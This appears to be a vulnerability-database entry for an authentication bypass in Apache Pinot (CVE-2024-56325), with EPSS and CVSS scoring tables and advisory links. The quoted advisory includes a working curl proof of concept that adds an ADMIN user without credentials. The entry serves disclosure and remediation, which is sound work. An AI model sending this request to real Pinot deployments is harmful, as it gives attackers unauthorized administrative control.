GHSA-6jwp-4wvj-6597 · Severity: critical · Ecosystem: maven — Apache Pinot Vulnerable to Authentication Bypass
Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.
Conclusion & alert: CVE-2024-56325 is rated High Risk (68.3/100): CVSS Critical severity, with high exploitation likelihood (EPSS 17.41%, 95th percentile). Core evidence: EPSS ranks this CVE among the most likely to be exploited in the near term. Mandatory action: High exploitation likelihood—assess exposure and prioritize remediation.
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EPSS lead: Daily EPSS estimates relative likelihood of exploitation; percentile ranks this CVE among scored vulnerabilities (higher = more severe relative rank).
| # | Date | Old EPSS score | New EPSS score | Delta (New - Old) |
|---|---|---|---|---|
| 1 | 2026-05-05 | 21.59% | 17.41% | -4.18% |
| 2 | 2026-04-15 | 20.05% | 21.59% | +1.54% |
| 3 | 2026-04-12 | — | 20.05% | — |
Full EPSS history (67 records total)
CVSS metrics for this CVE.
| Base score | Version | Severity | Vector | Exploitability | Impact | Score source |
|---|---|---|---|---|---|---|
| 9.8 | 3.1 | CRITICAL |
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3.9 | 5.9 | 134c704f-9b21-4f2e-91b3-4a467353bcc0 |
GHSA-6jwp-4wvj-6597 · Severity: critical · Ecosystem: maven — Apache Pinot Vulnerable to Authentication Bypass
| URL | Tags |
|---|---|
| https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v | Mailing List Vendor Advisory |
| http://www.openwall.com/lists/oss-security/2025/03/27/8 | Mailing List Third Party Advisory |